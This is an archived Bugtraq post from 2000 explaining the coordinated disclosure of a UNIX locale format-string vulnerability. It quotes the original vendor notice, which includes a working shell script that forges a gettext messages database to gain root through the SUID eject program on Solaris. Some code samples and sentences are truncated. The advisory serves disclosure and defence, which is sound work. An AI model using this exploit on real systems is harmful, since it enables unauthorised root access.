Home page logo

bugtraq logo Bugtraq mailing list archives

FOLLOUP: UNIX locale vulnerability
From: Iván Arce <core.lists.bugtraq () CORE-SDI COM>
Date: Mon, 4 Sep 2000 23:54:49 -0300

This email is an attempt to clarify the process followed by CORE
to the release of the 'UNIX locale format string vulnerability' report
published earlier today.
Im addressing this because i feel necessary to explain why the
report for a high risk multivendor problem was published when there are
no known fixes for many of the operating systems involved.

The problem was originally found on Solaris 2.7, we developed
proof of concept code and included it on our report. We also noticed
that this was very likely to be present on all UNIX operating systems
and therefore planned on contacting all vendors and coordinating
the release of information with them and a third party (Securityfocus
vulnhelp team). This was also decided because we realized that providing
a vendor fix to the problem was the only real solution. Its not evident
to us a feasible workaround for it.

On August 22nd, 2000 i sent a report (attached below) to all
UNIX vendors believed vulnerable:
Linux: RedHat, Debian, Conectiva, Mandrake, Inmunix
Sun, SCO, Compaq, SGI, IBM, HP, NetBSD, FreeBSD and OpenBSD

Previously, and in coordination with the Vulnerability Help Team at
SecurityFocus.com i had collected email addresses and PGP keys for
the security contacts at each vendor, this proved to be somewhat time
consuming but eventually i managed to get proper information for
all of the above.

The report was answered almost immediately by FreeBSD (08/22), OpenBSD
(08/22) and Conectiva Linux (08/23).FreeBSD and OpenBSD reported that
they were not vulnerable. Conectiva Linux took the time to research the
issue and reply stating that although. bad coding practices in several
SUID programs made them vulnerable, checks in GLIBC prevented
exploitation of the problem. Furthermore, we discussed the possibilities
of exploiting the problem remotely through telnet environment passing
It was determined that it was no possible to do so. Our advisory
this discussion.

Auto replies were received from SGI and HP (08/22)
Personal replies acknowledging receipt of the report were received
from Compaq (08/22) and later SGI (08/23).

On August 28th, i sent an email to Sun, SCO and IBM (from which i
i had not received replies at that moment) asking if they received
the report and what was the status.
Personal replies (not automated) were received from the three vendors:
IBM (08/28), SCO (08/28) and Sun (08/29).

I have not received any communication from HP or any Linux vendor
(except Conectiva Linux) since Aug. 22nd.

I intended to go through the same process today, mailing all vendors and
asking for a bit of detail on OS versions vulnerable and estimated date
for fix releases, this seemed the right thing to do considering that
the original schedule for our advisory was Sept 11th (next monday).
But before i did that i directed my attention to the bugtraq mailing
list and found out security advisories and updates from RedHat, Debian
and Conectiva Linux. In them, one of the reported problems is
the same we report in our advisory. They are, however, GLIBC specific,
and fail to note that the same problem might be (and in fact is) present
in other UNIX operating systems.
I realized that the whole coordinated release of information with the
vendors had been blown to pieces.
Given that its a matter of minutes to realize that the problem is
present in other UNIX OSes, that the format string bugs are the new
trend and that writing an exploit is really not very hard, i decided
that it was best to just publish our advisory and warn ALL unix users
that they might be (and some ARE) vulnerable.
I notified the pending vendors (SGI, SCO, Sun, IBM and Compaq) and sent
the advisory out to bugtraq.


PS: Below is the original problem report sent on Aug. 22nd


The following mailing mail is a pre-release vendor notification of a
security vulnerability we believe may be present in your software.
This pre-release is being coordinated by the Vulnerability Help Team at
SecurityFocus.com. This team works in conjunction with Bugtraq posters
attempt to notify vendors and work towards solutions before posting

For more information on policy specifics for the Vulnerability Help
Team please mail vulnhelp () securityfocus com our PGP Key should be
in this message.

Also, please note all responses to the discoverer of this problem
<iarce () core-sdi com> should also be CC'd to vulnhelp () securityfocus com 

Overview and Timeline

The following problem is a format string vulnerability which is
believed to be present in any UNIX or UNIX like system which use the
subsystem and allow users to specify a custom locale database.

We are certain at this stage that Solaris 2.x, 7 & 8 are vulnerable to
this problem and have working code to prove this point.
We suspect that most commercial UNIXes suffer from this problem as well.
Linux distributions using recent versions of glibc appear to be not
vulnerable to the problem, we are nonetheless notifying the Linux
vendors to confirm this information.
Given that this is derived of a very popular problem at the moment
(format string vulnerabilities) we suspect that this vulnerability will
discovered in the wild in the near future.
Given this the case we have set a release date for an advisory on this
topic on September 11th, 2000. We would like to work with you in that
period in order to represent your OS properly in our advisory. We look
forward to hearing from you as soon as possible.

Vulnerability Description

Many UNIX operating systems provide multilingual support in the
fashion of the locale subsystem. The locale subsystem comprises a set of
databases that store language and country specific information and
a set of library functions used to store, retrive and generally
manage that information.

In particular a database with messages used by almost all the
operating system programs is keep for each supported language.
The programs access this database using the gettext(3), dgettext(3),
dcgettext(3) C functions.

Generally a program that needs to display a message to the user
will obtain the proper language specific string from the database
using the original message as the serach key and printing the
results using the printf(3) family of functions.

By building and installing a custom messages database an attacker
can control the output of the gettext() functions that gets feed
to the printf(3) functions.

Bad coding practices and the ability to feed format strings to
the later functions makes it possible for an attacker to execute
arbitrary code as a privileged user (root) using almost any SUID
program on the vulnerable systems.

Local execution of arbitrary code as a privileged user (root)

Technical details

Passing unchecked user supplied data as a format string to the
functions can lead to unexpected changes of flow
control and execution of arbitrary code in context of the
vulnerable program. The following C program exemplifies
the problem described:

  void main(int argc, char **argv)
    /* This is proper use */
    /* This is bad use */
In the above example if argv[1] is a string with characters
intepreted by printf(3) as formating characters, the behavior
of the program can be altered to execute arbitrary code in
a way _similar_ to the explotation of buffer overflow

  $ cc -o sample sample.c
  $ ./sample hello
  $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n
  Memory fault (core dumped)

Recent posts to computer security lists and related publications
provide good reference material to understand the problem and
possible ways to exploit it.

It has been found that most programs in many popular operating
systems suffer from this problem derived from the way the
messages database of the locale subsystem is used.
In particular, privileged programs (programs with the SUID bit
set) that execirse access to the database using the gettext(3)
function in a vulnerable manner are directly exploitable and
allow an attacker to obtain root privileges instantly.
The following code exemplifies a common bad coding practice
that makes the cited programs vulnerable:

  main(int argc, char **argv)
    if(argc > 1) {
      printf(gettext("usage: %s filename\n"),argv[0]);
   printf("normal execution proceeds...\n");

Here the output of the gettext(3) function
is not validated and passed directly to printf(3).
gettext(3) searches the messages database for a message
that matches the key "usage: %s filename\n" in the
current locale settings and returns it to the caller.
A malicious, unpriviledged, user can build and install
a bogus messages database and instruct the vulnerable
program to use it, thus controlling the output of gettext()
and force-feeding fomatting characters to printf(3).
The problem above is NOT related to the user input to the
program but instead to the data contained in the messages

The following commands demostrates the problem:

  $ uname -a
  SunOS maula 5.7 Generic_106541-02 sun4m sparc SUNW,SPARCstation-5
  $ ls -l
  $ ls -l /usr/bin/eject
  -r-sr-xr-x   1 root     bin        14352 Oct  6  1998 /usr/bin/eject
  $ eject -x`perl -e 'print "ABCDEF". "A"x507`
  eject: illegal option -- x
  usage: eject [-fndq] [name | nickname]
  options:       -f force eject
                 -n show nicknames
                 -d show default device
                 -q query for media present
                 -p do not call eject_popup
  $ cat >doit.sh
  export NLSPATH=:`pwd`
  echo domain \"messages\" > messages.po
  echo msgid  \""usage: %s [-fndq] [name | nickname]\\\n"\"
  echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po
  msgfmt messages.po
  cp messages.mo SUNW_OST_OSCMD
  cp messages.mo SUNW_OST_OSLIB
  exec eject -x`perl -e 'print "ABCDEF" . "A"x507'`
  $ ./doit.sh
eject: illegal option -- x
 $ exit

As shown, the SUID program 'eject' follows the user directives to
use a custom (bogus) messages database. The specific ways to do
it vary in different operating systems but usually involves
the usage of environment variables (NLSPATH,LC_MESSAGES,LANG,etc.)
and/or locale library functions (textdomain(3), bindtextdomain(3),etc.)

The problem however steems from bad coding practices in the
operating system's programs:
 - A SUID program should not follow the users directives of
   what database it should use, locale databases should be
   taken from a secure trusted directory.
   (This seems to be the approach in Linux distributions with
    recent versions of glibc)

 - Output of gettext(3) should not be passed as a format
   string directly to printf(3) functions.

Additional information

This vulnerability was discovered by Ivan Arce of CORE SDI S.A.,
Buenos Aires, Argentina.

PGP Keys

Ivan Arce <iarce () core-sdi com>

Version: PGP 6.0


Vulnerability Help Team at SecurityFocus.com
<vulnhelp () securityfocus com>

Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>


Copyright Notice:

The contents of this advisory are copyright (c) 2000 CORE SDI S.A.
and may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.

$Id: locale-notice-to-vendors.txt,v 1.3 2000/08/21 21:17:40 iarce Exp $
"Understanding. A cerebral secretion that enables one having it to know
 a house from a horse by the roof on the house,
 It's nature and laws have been exhaustively expounded by Locke,
 who rode a house, and Kant, who lived in a horse." - Ambrose Bierce

==================[ CORE Seguridad de la Informacion S.A. ]=========
Iván Arce
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A
email   : iarce () core-sdi com
Pte. Juan D. Peron 315 Piso 4 UF 17
1038 Capital Federal
Buenos Aires, Argentina.              Tel/Fax : +(54-11) 4331-5402
Casilla de Correos 877 (1000) Correo Central

--- For a personal reply use iarce () core-sdi com

  By Date           By Thread  

Current thread:
  • FOLLOUP: UNIX locale vulnerability Iván Arce (Sep 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]